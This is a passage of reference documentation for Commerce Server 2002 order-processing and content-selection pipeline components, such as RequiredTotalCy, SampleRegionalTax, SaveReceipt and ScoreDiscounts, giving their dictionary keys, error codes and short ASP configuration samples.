_winnerindexes | Order | A SimpleList object containing the ContentList object indexes of the winning content items. If this entry is present, the _winners key should not be present. If both are present, only this key is used.
_winners | Order | A SimpleList object containing the values from the item_id keys of the winning content items. If this entry is present, the _winnerindexes key should not be present. If both are present, only the _winnerindexes key is used.
_content | Order | The item_id key for the various content items contained in the ContentList object referenced by the _content key. The item_id key is automatically looked up if the _winnersindexes key is passed instead of the _winners key.

Values Written

The RecordHistory component writes the following values to the Order dictionary.

Key | Description
_history | The updated history list string.

Remarks

The RecordHistory component is responsible for managing the size of the history list and truncates it when necessary. The component removes the oldest entries from the string when it exceeds the maximum length.

The property page for the RecordHistory component allows the maximum number of entries in the history to be configured. This component trims the least recent history list entries, as necessary, to assure that this limit is not exceeded.

See Also

ContentList Object

SimpleList Object


RequiredHandlingCy, RequiredHandling

Use this component to verify that the handling total is present in the order.

The RequiredHandling component is for backward compatibility only. The RequiredHandlingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Handling stage.

Configuration Values

None.

Values Read

The RequiredHandlingCy component reads the following values from the indicated dictionaries. The RequiredHandling component reads the same key but without cy_.

Key | Dictionary | Description
_cy_handling_total | Order | The total cost for handling the order.
MessageManager | Context | A reference to a MessageManager object. This key is used to retrieve the bad-handling total constant (pur_badhandling) in case of an error.

Values Written

The RequiredHandlingCy and RequiredHandling components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredHandlingCy and RequiredHandling components return error level 2 (OPPERRORLEV_WARN) when the handling total is not in the order form. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components write error messages to the _Purchase_Errors collection. The components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badhandling | The handling total is not in the order form.

Remarks

The RequiredHandlingCy and RequiredHandling components verify that the order._handling_total key is present.

See Also

MessageManager Object


RequiredItemAdjustCy, RequiredItemAdjust

The RequiredItemAdjust component is for backward compatibility only. The RequiredItemAdjustCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Item Adjust Price stage.

Configuration Values

None.

Values Read

The RequiredItemAdjustCy component reads the following values from the indicated dictionaries. The RequiredItemAdjust component reads the same key but without cy_.

Key | Dictionary | Description
item._cy_iadjust_currentprice | Order | Reads the current price of each item in the items collection in the OrderForm object.
item._cy_iadjust_regularprice | Order | Reads the regular price of each item in the items collection in the OrderForm object.
MessageManager | Context | A reference to a MessageManager object. This key is used to retrieve the bad-handling total constant (pur_badplacedprice) in case of an error.

Values Written

The RequiredItemAdjustPriceCy component writes the following values to the Order dictionary. The RequiredItemAdjustPrice component writes the same keys but without cy_.

Key | Description
item.cy_placed_price | Writes the placed price of an item in the items collection in the OrderForm object. For more information, see the Remarks section.
item._cy_iadjust_currentprice | Writes the adjusted current price of an item in the items collection in the OrderForm object.
_Basket_Errors | Error messages are written to this SimpleList object. This key is optional.

Remarks

The RequiredItemAdjustPriceCy and RequiredItemAdjustPrice components perform the same actions although on different dictionary keys.


RequiredItemAdjustPriceCy, RequiredItemAdjustPrice

Use these components to ensure that the current price for each item in the order is set and that it has not been changed.

The RequiredItemAdjustPrice component is for backward compatibility only. The RequiredItemAdjustPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Item Adjust Price stage.

Configuration Values

None.

Values Read

The RequiredItemAdjustPriceCy component reads the following values from the indicated dictionaries. The RequiredItemAdjustPrice component reads the same key but without cy_.

Key | Dictionary | Description
item._cy_iadjust_currentprice | Order | Reads the current price of each item in the items collection in the OrderForm object.
item._cy_iadjust_regularprice | Order | Reads the regular price of each item in the items collection in the OrderForm object.
item.cy_placed_price | Order | Reads the placed price of each item in the items collection in the OrderForm object. For more information, see the Remarks section.
MessageManager | Context | A reference to a MessageManager object. This key is used to retrieve the bad-handling total constant (pur_badplacedprice) in case of an error.

Values Written

The RequiredItemAdjustPriceCy component writes the following values to the Order dictionary. The RequiredItemAdjustPrice component writes the same keys but without cy_.

Key | Description
item.cy_placed_price | Writes the placed price of an item in the items collection in the OrderForm object. For more information, see the Remarks section.
item._cy_iadjust_currentprice | Writes the adjusted current price of an item in the items collection in the OrderForm object.
_Basket_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredItemAdjustPriceCy and RequiredItemAdjustPrice components return error level 2 (OPPERRORLEV_WARN) when the placed price is not equal to the current price. Other errors return error level 3 (OPPERRORLEV_FAIL).

These components write error messages to the _Basket_Errors collection. These components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badplacedprice | The placed price is not equal to the current price — the current price has changed since the item was added to the basket.

Remarks

The RequiredItemAdjustPriceCy and RequiredItemAdjustPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredItemAdjustPriceCy component.

The RequiredItemAdjustPriceCy component verifies that the current price (_cy_iadjust_currentprice) exists for each item in the items list. If this value does not exist, the component creates it and initializes it to the regular price (_cy_iadjust_regularprice).

In addition, the component checks the placed price (cy_placed_price) against the current price (cy_iadjust_currentprice) to see if the current price has changed since the user placed the item in the basket. If the placed price does not exist, the component creates it and sets it to the current price (cy_iadjust_currentprice). If the placed price exists, but is not equal to the current price, the RequiredItemAdjustPriceCy component retrieves the warning message text for a bad placed price from the MessageManager object, and writes this message to the _Basket_Errors collection of the order form.


RequiredItemPriceCy, RequiredItemPrice

Use this component to verify that each item in the order form has a regular price assigned to it. Regular prices are assigned by the DefaultItemPrice component and similar components.

The RequiredItemPrice component is for backward compatibility only. The RequiredItemPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Item Price stage.

Configuration Values

None.

Values Read

The RequiredItemPriceCy component reads the following values from the indicated dictionaries. The RequiredItemPrice component reads the same key but without cy_.

Key | Dictionary | Description
item._cy_iadjust_regularprice | Order | The regular price of an item.

Values Written

None.

Remarks

The RequiredItemPriceCy and RequiredItemPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredItemPriceCy component.

The RequiredItemPriceCy component verifies that the _cy_iadjust_regularprice key has been set for each item in the items list.

Before the RequiredItemPrice component is run, the items list should have been initialized by the DefaultItemPriceCy component to contain the most current pricing information for the item.

If the _cy_iadjust_regularprice key does not contain a value, an error is raised.

See Also

DefaultItemPriceCy, DefaultItemPrice


RequiredOrderAdjustPriceCy, RequiredOrderAdjustPrice

Use these components to adjust the total cost of each item in an order after applying any discounts.

Use these components to calculate the cost of undiscounted items and the amount of a discount for all items in the order.

The RequiredOrderAdjustPrice component is for backward compatibility only. The RequiredOrderAdjustPriceCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines.

Intended use: Order Processing pipeline, Order Adjust Price stage.

Configuration Values

None.

Values Read

The RequiredOrderAdjustPriceCy component reads the following values from the indicated dictionaries. The RequiredOrderAdjustPrice component reads the same keys but without cy_.

Key | Dictionary | Description
item._n_unadjusted | Order | The quantity of this item that have not been discounted.
item._cy_iadjust_currentprice | Order | The current price of an item.
item._cy_oadjust_adjustedprice | Order | The total price of all the items, after all the discounts have been applied.
item.quantity | Order | The total quantity of an item.

Values Written

The RequiredOrderAdjustPriceCy component writes the following values to the indicated dictionaries. The RequiredOrderAdjustPrice component writes the same keys but without cy_.

Key | Description
item._cy_oadjust_adjustedprice | The total price of all the items, after all the discounts have been applied.
item._cy_oadjust_discount | The discount on an item.

Remarks

The RequiredOrderAdjustPriceCy and RequiredOrderAdjustPrice components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredOrderAdjustPriceCy component.

The RequiredOrderAdjustPriceCy component processes each item in the items collection of the OrderForm object.

For each item, the RequiredOrderAdjustPriceCy component first calculates the cost of the non-discounted quantity. It multiplies the current price of the item (_cy_iadjust_currentprice) by the undiscounted quantity of the item (_n_unadjusted) and adds it to the total cost of the item (_cy_oadjust_adjustedprice).

Next, it calculates the discount for the item (_cy_oadjust_discount) by calculating the total cost for the item (multiplying the current price of the item (_cy_iadjust_currentprice) by the total quantity (quantity)) and subtracting the previously calculated cost of the undiscounted items.

The RequiredOrderAdjustPriceCy component is visible in the Pipeline Editor only when the Editor is run in expert mode.


RequiredOrderCheck

Use this component to verify that the order form contains at least one item.

Intended use: Order Processing pipeline, Order Check stage.

Configuration Values

None.

Values Read

The RequiredOrderCheck component reads the following value from the indicated dictionary.

Key | Dictionary | Description
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the "no items in order" constant (pur_noitems) in case of an error.

Values Written

The RequiredOrderCheck component writes the following values to the Order dictionary:

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredOrderCheck component returns error level 2 (OPPERRORLEV_WARN) when there are no items in the OrderForm. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components write error messages to the _Purchase_Errors collection. The components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_noitems | There are no items in the OrderForm object.

Remarks

The RequiredOrderCheck component ensures that the items list of the OrderForm object is not empty.

See Also

MessageManager Object


RequiredOrderInitCy, RequiredOrderInit

Use this component to initialize the payment authorization code, order ID, totals, and subtotals in an order form.

The RequiredOrderInit component is for backward compatibility only. The RequiredOrderInitCy component operates in both 3.0 compatibility mode and in 4.0 mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Initialization stage.

Configuration Values

None.

Values Read

The RequiredOrderInitCy and RequiredOrderInit components read the following values from the indicated dictionaries.

Key | Dictionary | Description
order_id | Order | The ID of the order.
item.quantity | Order | The quantity of an item.

Values Written

The RequiredOrderInitCy component writes the following values to the Order dictionary. The RequiredOrderInit component writes the same keys but without cy_.

Key | Description
order_id | The ID of the order.
item._cy_oadjust_adjustedprice | The total price of all the items, after all the discounts have been applied.
item._n_unadjusted | The number of items that have not been discounted.
_cy_total_total | The total cost of the order.
_cy_oadjust_subtotal | The subtotal of all items in the items list.
_cy_shipping_total | The total cost of shipping all items in the order.
_cy_tax_total | The total tax for the order.
_cy_handling_total | The total handling cost for the order.
_payment_auth_code | The payment authorization code.

Remarks

The RequiredOrderInitCy and RequiredOrderInit components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredOrderInitCy component.

First, the RequiredOrderInitCy component ensures that the order_id key has a value. If it does not, the RequiredOrderInitCy component generates a unique order ID and assigns it to this key.

Next, to ensure order integrity, the component initializes the following keys by assigning NULL to them:

_cy_total_total
_cy_oadjust_subtotal
_cy_shipping_total
_cy_tax_total
_cy_handling_total
_cy_tax_included
_payment_auth_code

Finally, for each item in the items collection, the RequiredOrderInitCy component copies the value stored in the quantity key to the _n_unadjusted key to initialize the undiscounted quantity of the item, and initializes the _oadjust_adjustedprice (the total cost of the item) key to zero (0).


RequiredOrderSubtotalCy, RequiredOrderSubtotal

Use this component to ensure that the subtotal of all items in the item list of an order exist so that order totals are properly calculated.

The RequiredOrderSubtotal component is for backward compatibility only. The RequiredOrderSubtotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Subtotal stage.

Configuration Values

None.

Values Read

The RequiredOrderSubtotalCy component reads the following value from the indicated dictionary. The RequiredOrderSubtotal component reads the same key but without cy_.

Key | Dictionary | Description
_cy_oadjust_subtotal | Order | The subtotal of all items in the item list of the order.

Values Written

None.

Remarks

Both the RequiredOrderSubtotalCy and RequiredOrderSubtotal components check the _oadjust_subtotal key in the OrderForm object to ensure that the value assigned to it is not NULL.

The RequiredOrderSubtotalCy component is visible in the Pipeline Editor only when the Editor is run in expert mode.


RequiredPayment

Use this component to verify that the payment authorization code exists in the order form (is not NULL).

Intended use: Order Processing pipeline, Payment stage.

Configuration Values

None.

Values Read

The RequiredPayment component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_payment_auth_code | Order | The payment authorization code for the order form.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad payment constant (pur_bad_payment) in case of an error.

Values Written

The RequiredPayment component writes the following values to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

This component writes an error message to the _Purchase_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badpayment | The payment authorization code is missing from the order form.

Remarks

If the payment authorization code does not exist (is equal to NULL), the RequiredPayment component retrieves the error for the pur_badpayment constant from the MessageManager object, and writes this error to the _Purchase_Errors collection of the OrderForm object.

See Also

MessageManager Object


RequiredProdInfo

Use this component to delete items flagged for deletion by a previous Product Info stage component.

Intended use: Order Processing pipeline, Product Info stage.

Configuration Values

None.

Values Read

The RequiredProdInfo component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item.delete | Order | A flag on an item in the items collection of the OrderForm object. This key is created and set by another pipeline component.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad stockkeeping unit (SKU) constant (pur_badsku) in case of an error.

Values Written

The RequiredProdInfo component writes the following values to the Order dictionary.

Key | Description
_Basket_Errors | Error messages are written to this SimpleList object.

Errors

The component writes an error message to the _Basket_Errors collection. The component uses a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badsku | One or more items were deleted from the order.

Remarks

The RequiredProdInfo component checks all items in the items collection in the OrderForm object and deletes any items with a delete key set to 1 (one). Components that set this key include QueryCatalogInfo and QueryProdInfoADO.

If the RequiredProdInfo component deletes any items from the items collection, it uses the pur_badsku constant to retrieve error message text from the MessageManager object and stores this message in the _Basket_Errors collection of the OrderForm object so that the application can report the problem with the item to the user.

See Also

QueryCatalogInfo

QueryProdInfoADO


RequiredShippingCy, RequiredShipping

Use these components to verify that the shipping total has been set.

The RequiredShipping component is for backward compatibility only. The RequiredShippingCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Shipping stage.

Configuration Values

None.

Values Read

The RequiredShippingCy component reads the following values from the indicated dictionaries. The RequiredShipping component reads the same key but without cy_.

Key | Dictionary | Description
_cy_shipping_total | Order | The total shipping cost for the order.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad-shipping total constant (pur_badshipping) in case of an error.

Values Written

The RequiredShippingCy and RequiredShipping components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredShippingCy and RequiredShipping components return error level 2 (OPPERRORLEV_WARN) when the handling total is not in the order form. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components also write an error message to the _Purchase_Errors collection. The components use a MessageManager object to retrieve error message text.

Constant | Condition
pur_badshipping | The shipping total key does not exist in the order.

Remarks

The RequiredShippingCy and RequiredShipping components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredShippingCy component.

The RequiredShippingCy component verifies that the _cy_shipping_total key exists in the order form. If the value does not exist, it uses the pur_badshipping constant to retrieve error message text from the MessageManager object and stores this message in the _Purchase_Errors collection of the OrderForm object.

See Also

MessageManager Object


RequiredTaxCy, RequiredTax

Use these components to verify that total tax and tax included appear in the order form.

The RequiredTax component is for backward compatibility only. The RequiredTaxCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

None.

Values Read

The RequiredTaxCy component reads the following values from the indicated dictionaries. The RequiredTax component reads the same key but without cy_.

Key | Dictionary | Description
_cy_tax_total | Order | The total tax for the order.
_cy_tax_included | Order | The amount of tax included in the order.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the bad tax constant (pur_badtax) in case of an error.

Values Written

The RequiredTaxCy and RequiredTax components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredTaxCy and RequiredTax components return error level 2 (OPPERRORLEV_WARN) when one of the tax items is missing. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components also write an error message to the _Purchase_Errors collection. The components use a MessageManager order to retrieve error message text.

Constant | Condition
pur_badtax | One of the tax items is missing.

Remarks

The RequiredTaxCy and RequiredTax components perform the same actions although on different dictionary keys. The following discussion uses the keys for the RequiredTaxCy component.

The RequiredTaxCy component verifies that the _cy_tax_total and _cy_tax_included keys exist in the order form. If either value does not exist, the RequiredTaxCy component uses the pur_badtax constant to retrieve error message text from the MessageManager object and stores this message in the _Purchase_Errors collection of the OrderForm object.

See Also

MessageManager Object


RequiredTotalCy, RequiredTotal

Use these components to verify that values on a page have not been tampered with or reset. The components compare values in the order against values in the _Verify_With dictionary.

The RequiredTotal component is for backward compatibility only. The RequiredTotalCy component operates in Site Server 3.0 Commerce Edition, Commerce Server 2000, and Commerce Server 2002 compatibility mode pipelines. For more information, see Currency Enhancements.

Intended use: Order Processing pipeline, Order Total stage.

Configuration Values

None.

Values Read

The RequiredTotalCy and RequiredTotal components read the following values from the indicated dictionaries.

Key | Dictionary | Description
_Verify_With | Order | A dictionary whose keys and values will be tested against keys and values in the order form.
MessageManager | Context | A reference to a MessageManager object that is used to retrieve the verification error constant (pur_badverify) in case of an error.

Values Written

The RequiredTotalCy and RequiredTotal components write the following value to the Order dictionary.

Key | Description
_Purchase_Errors | Error messages are written to this SimpleList object.

Errors

The RequiredTotalCy and RequiredTotal components return error level 2 (OPPERRORLEV_WARN) when one or more of the keys and values in the _Verify_With dictionary do not match the corresponding order form entries. Other errors return error level 3 (OPPERRORLEV_FAIL).

The components write error messages to the _Purchase_Errors collection. The components use a MessageManager object to retrieve user warning message text.

Constant | Condition
pur_badverify | At least one of the keys and values in the _Verify_With dictionary did not match the corresponding pair in the order form.

Remarks

The RequiredTotalCy and RequiredTotal components go through the keys and values in the _Verify_With dictionary to ensure that the keys exists in the order form and have the same values.

You can use these components to verify that values on a page have not been tampered with or reset. To verify values on a page, add a hidden field for each item named _VERIFY_WITH that contains the item and the associated value. For, example to verify that the value ship_to_zip has not been altered, you would create a tag on the page similar this:

<INPUT TYPE="HIDDEN" NAME="_VERIFY_WITH"
       VALUE="<% = "ship_to_zip=" & CStr(mmsOrderForm.ship_to_zip) %>">

When the page is posted, the name and value will be added as a key and value to the _Verify_With dictionary in the OrderForm object.

You can use the VerifyWith method of the Page object to create the hidden tags. The ProcessVerifyWith method of the Page object copies the values of the hidden fields into the _Verify_With dictionary in the OrderForm object.

The Order Total stage always performs a _VERIFY_WITH check. Any fields in the post that appear as _VERIFY_WITH="value=key" will verify that the order has such a key and it is set to that value. This prevents a malicious resetting of addresses or contents. If _VERIFY_WITH is not on the order form, no check is performed.

For example, order._total_total should equal (order._VERIFY_WITH)._total_total if _total.total is in the _VERIFY_WITH clause.

See Also

Page.ProcessVerifyWith

Page.VerifyWith


SaleAdjust

Use this component to apply a sale price to an item.

This component is included for backward compatibility only. It has been replaced by the OrderDiscount component.

Intended use: Order Processing pipeline, Item Adjust Price stage.

Configuration Values

None.

Values Read

The SaleAdjust component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
item._product_sale_start | Order | Optional. The date the sale begins.
item._product_sale_end | Order | Optional. The date the sale ends.
item._product_sale_price | Order | The sale price of the item.

Values Written

The SaleAdjust component writes the following values to the Order dictionary.

Key | Description
item._iadjust_currentprice | The current price of the item with the promotion applied.

Remarks

The SaleAdjust component allows you to apply the sale price of an item. If the item is on sale, and if its _iadjust_currentprice key has not been initialized by a component that was previous run, the SaleAdjust component initializes _iadjust_currentprice key to the value stored in item._product_sale_price key.

The SaleAdjust component determines if an item is on sale by comparing the current date to the date values specified for the _product_sale_start key and the _product_sale_end key of the item.

The SaleAdjust component requires that the various sale values exist in the product table of the site database. Otherwise, the OrderForm object will not contain the data needed to calculate the adjusted price of the item (_iadjust_currentprice), and an error message will be generated. The product sale keys are set by the QueryProdInfoADO component in the Product Information stage.

Because the _product_sale_start and _product_sale_end keys are actually date-time pairs that specify midnight, the _product_sale_end key excludes the date specified. Thus, if you want the last day of a promotion to be 3/31, be sure to specify that the promotion ends on 4/1.

See Also

QueryProdInfoADO

OrderDiscount


SampleRegionalTax

Use this component for calculating taxes in pipelines using the multiple shipment features of Commerce Server 2002.

Note

  • The SampleRegionalTax component is not a complete solution to tax calculation. It is provided as an example of a tax component that takes full advantage of the multiple shipment features of Commerce Server 2002. Microsoft strongly recommends that you purchase a third-party tax component.

Intended use: Order Processing pipeline, Tax stage.

Configuration Values

None.

Values Read

The SampleRegionalTax component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
shipments | Order | A SimpleList object of shipments.
item._cy_oadjust_adjustedprice | Order | The total price of all the items, after all the discounts have been applied.
RegionalTaxCache | Context | A reference to a dictionary containing tax information.

In addition, the SampleRegionalTax component reads the following keys from the Addresses dictionary in the OrderForm object.

Key | Description
addresses.country_code | The ship to country/region for the address ID retrieved for the shipment.
addresses.region_code | Optional. The ship to region for the address ID retrieved for the shipment.

Values Written

The SampleRegionalTax component writes the following values to the Order dictionary.

Key | Description
item._cy_tax_total | The total tax for the item.
item._cy_tax_included | The total tax for the item included in the cost. You must set this key to zero (0).
shipment._cy_tax_total | The total tax for the shipment.
shipment._cy_tax_included | The total tax for the shipment included in the cost. You must set this key to zero (0).
_cy_tax_total | The total tax for the order.
_cy_tax_included | The total tax for the order included in the cost. You must set this key to zero (0).

Remarks

The SampleRegionalTax component computes tax for the Commerce Server 2002 shipping architecture that handles multiple shipments. For more information about how Commerce Server processes shipments, see Multiple-shipment Shipping Architecture.

For each shipment in the order, the component first gets the tax rate from the database using the CacheManager object and stores it in the SampleRegionalTaxCache component.

The SampleRegionalTax component then goes through each item in the shipment and calculates its tax based on the rate retrieved from the tax rate table. Rates are retrieved based on the country/region codes in the dictionary of addresses in the Order dictionary. For more information about the dictionary of addresses, see Multiple-shipment Shipping Architecture.

As it goes through the items and shipments in the order, the SampleRegionalTax component accumulates totals for the items, shipments, and, finally, for the entire order.

The tax rate data stored in the SampleRegionalTaxCache component is a snapshot of the RegionalTax database table. The RegionalTax table contains three columns.

Column | Data Type | Description
country_code | String, 255 characters. | The country code.
region_code | String, 255 characters. | The region code.
rate | Float, 8 bytes. | The tax rate.

You may include a wildcard entry (@) for a region code. This will match regions that would not otherwise match. If no entry is found in the RegionalTax table, the rate is zero (0).

Using a pipeline containing the SampleRegionalTax component is very similar to using a Content Selection pipeline. First, you configure the CacheManager object to use the SampleRegionalTaxCache loader in the Application_OnStart section of the Global.asa file. Then, in the Active Server Pages (ASP) page, you add an entry for the CacheManager object to the Context dictionary and invoke the pipeline.

Setup code in the Application_OnStart method:

    ' Create a Dictionary to hold configuration information.
    Set dConfig = CreateObject("Commerce.Dictionary")

    ' Add configuration information to the dictionary. SampleRegtionalTax
    ' only uses a connection string.
    dConfig("ConnectionString") = "DSN=adsamples;UID=username;PWD=******"

    ' Create a CacheManager object.
    Set CacheManager = Server.CreateObject("Commerce.CacheManager")

    ' Set the ProgID of the Loader component for the
    ' "SampleRegionalTaxCache" cache.
    CacheManager.LoaderProgId("SampleRegionalTaxCache") = _
                    "Commerce.SampleRegionalTaxCache"

    ' Set the Loader component config Dictionary for the cache.
    Set CacheManager.LoaderConfig("SampleRegionalTaxCache") = dConfig

    '
    ' Other CacheManager configuration code would appear here.
    '

    ' Store a reference to the CacheManager in the Application object.
    Set Application("CacheManager") = CacheManager

Code to run the pipeline containing the SampleRegionalTax component:

    ' Place a reference to the CacheManager in the context dictionary.
    Set dContext = Server.CreateObject("Commerce.Dictionary")
    dContext.CacheManager = Application("CacheManager")

    '
    ' Set other values and create the Order dictionary (dOrder) here.
    '

    ' Load and run the pipeline containing the tax component.
    Set pPooledPipe = Server.CreateObject("Commerce.PooledPipeline")
    pPooledPipe.LoadPipe("OrderAndTax.pcf")
    iErrVal = pPooledPipe.Execute(0, dOrder, dContext, 1)

Code to query the SampleRegionalTax cache for a specific tax rate:

     ' Initialize the TaxRates dictionary as Dictionary object.
   ' Retrieve the tax rate for a specific country_code and region_code.
   Dim TaxRates As CDictionary
   Set TaxRates = _
objContext("CacheManager").GetCache("SampleRegionalTaxCache").Cache_("US")("WA")

See Also

Multiple-shipment Shipping Architecture

CacheManager Object

PooledPipeline Object

PooledTxPipeline Object


SaveHistory

Use this component to record the history string in one of three locations: the User Profile object, the ASP Session Collection, or the HTTP Cookie.

Although the component appears as SaveHistory in the Pipeline Editor, its ProgID is Commerce.CSFSaveHistory.

Intended use: Content Selection pipeline, Record stage.

Configuration Values

You can determine where the SaveHistory component saves the history string by setting component properties. Use the following boxes on the Save History tab of the Component Properties dialog box to determine this information. You must choose one of the following options.

Box | Description
User Profile Object | The property in the user profile to store the history string. The default is Advertising Info.Campaign History.
ASP Session Collection | The key in the Session object containing the history string. Requires that the component be configured with the proper key and that the pipeline be executing in IIS context. This is the default option.
HTTP Cookie | The key in the Cookies object containing the history string. This option requires that the component be configured with the proper key and that the pipeline be executing in IIS context.

Values Read

The SaveHistory component reads the following values from the indicated dictionary.

Key | Dictionary | Description
_history | Order | The history string retrieved by the LoadHistory component.

Values Written

None.

Errors

The SaveHistory component returns error level 3 (OPPERRORLEV_FAIL) when an error occurs.

Remarks

Saves the history string in one of the same three locations that the LoadHistory component can use as a source.

The property page for this component supports the same three choices as the property page for the LoadHistory component.

When using the User Profile object option, it's possible to use either a field that is mapped to a data column in a table, or a field that is not mapped. If the field is not mapped, the history string is persisted only for the duration of the user session and is later timed out of the profile cache. This method is more efficient than using the mapped method, but the mapped method allows the history string to be persisted across sessions. The unmapped option does not allow you to load balance Domain Name Server (DNS) network requests by sending the incoming requests to the next server in a list (round-robin load balancing).

See Also

LoadHistory


SaveReceipt

Use this component to save an order in a database table.

The SaveReceipt component is supplied for backward compatibility with Site Server 3.0 Commerce Edition only. In Commerce Server 2000 and Commerce Server 2002, use the SaveOrder method of the OrderGroup object to save the orders to the Transaction database.

Intended use: Order Processing pipeline, Accept stage.

Configuration Values

You can determine which items the SaveReceipt component will save in the database by setting component properties. Use the following boxes on the Save Receipt tab of the Component Properties dialog box to determine this information.

Box | Description
No Save Key Prefix | A prefix that identifies keys in the order form that should not be saved in the database table. Use this prefix to identify sensitive information such as credit-card numbers that should not be saved. The default prefix is _cc_.

Values Read

The SaveReceipt component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
ReceiptStorage | Context | A reference to a DBStorage object pointing to a database in which to save the data.
<Various Fields> | Order | The SaveReceipt component saves all fields in the order form that have a corresponding name in the database table and that do not begin with the characters specified in the No Save Key Prefix box.

Values Written

None.

Remarks

The SaveReceipt component saves an order to a database table. The name of the database table is stored in the DBStorage object. The Context dictionary key ReceiptStorage points to the object. The SaveReceipt component saves all fields on the order form that have a corresponding column name in the database table.

See Also

DBStorage Object


ScoreDiscounts

Use this component in discount promotion selection to adjust scores of discount items to promote discounts most relevant to the current user.

Although the component appears as ScoreDiscounts in the Pipeline Editor, its ProgID is Commerce.CSFScoreDiscounts.

Intended use: Content Selection pipeline, Scoring stage.

Configuration Values

None.

Values Read

The ScoreDiscounts component reads the following values from the indicated dictionaries.

Key | Dictionary | Description
_content | Order | A reference to the ContentList object. Multiple fields are read. For more information, see the Remarks section..
Evaluator | Context | A reference to the Expression Evaluator component to use.
ContextProfile | Context | Optional. The ContentSelector object (a dictionary) used in expression evaluation. A SimpleList object of dictionaries can also be read from the ContextProfile object from a key named Products. Typically, this is a list of the products the user is viewing or browsing (on the current page, for example). This product list should have the same format as the items list in an OrderForm object once the QueryCatalogInfo component has been run on it, making all product attributes available for discount expressions.
UserProfile | Context | Optional. A reference to a ProfileObject object containing the user profile for the current user that is used in expression evaluation.
Items | ContextProfile | Optional. The items collection from the OrderForm object. This list of products should have the same format as the items list in an OrderForm object once the QueryCatalogInfo component has been run on it, making all attributes of a product available for discount expressions.
trace | Context | Optional. A Boolean indicating whether score adjustment tracing is enabled. This component will not produce trace strings unless this key is set to True.

The ScoreDiscounts component reads the following values for each item in the ContentList object referred to by the _content key.

Key | Description
required_exprs | The required expressions built on User and Context profiles. This is an array of expression IDs that must be True; otherwise the discount is assigned a score of zero (0).
condition_expr | The discount condition expression.
award_expr | The award condition expression.
date_start | The date the discount becomes active.
date_end | The date the discount expires.

Values Written

The ScoreDiscounts component writes the following value to the Order dictionary.

Key | Description
_content | A reference to the ContentList object. The score key of each content item in the object is assigned a value.

Remarks

This component adjusts the score of discount content items with the goal of promoting discounts most relevant to the current user. The algorithm is based on the following considerations:

  • The start and end dates of the discount. If the discount has not started, or has expired, it is disqualified.
  • Whether the item to be discounted is in the shopping basket.
  • Whether the item to be discounted is on the page being viewed (in the products list).

The following table lists the multipliers used based on the various combinations of the conditions and awards being met in the basket, in the products list, or not met. A condition or award being "met" means that the expression evaluates to True, but not necessarily that the cost or quantity amount was met. More than one entry in the table below may be met. The first one met is the one applied.

Condition | Award | Multiplier | Description
Met in basket | Applies to all (or free shipping) | 0.5 | The user is already receiving the benefit of the discount.
Met in basket | Met in basket | 0.5 | The user is already receiving the benefit of the discount.
Met in basket | Met in products | 1.6 | The user has half the discount in the basket, and is in the part of the site with the other half.
Met in basket | Not met | 1.4 | The user has half the discount in the basket.
Met in products | Applies to all (or free shipping) | 1.2 | The user is in the part of the site with half the discount.
Met in products | Met in basket | 1.6 | The user has half the discount in the basket, and is in the part of the site with the other half.
Met in products | Met in products | 1.4 | The user is in the part of the site with both halves of the discount.
Met in products | Not met | 1.2 | The user is in the part of the site with half the discount.
Not met | Applies to all (or free shipping) | 1.0 | Neutral context.
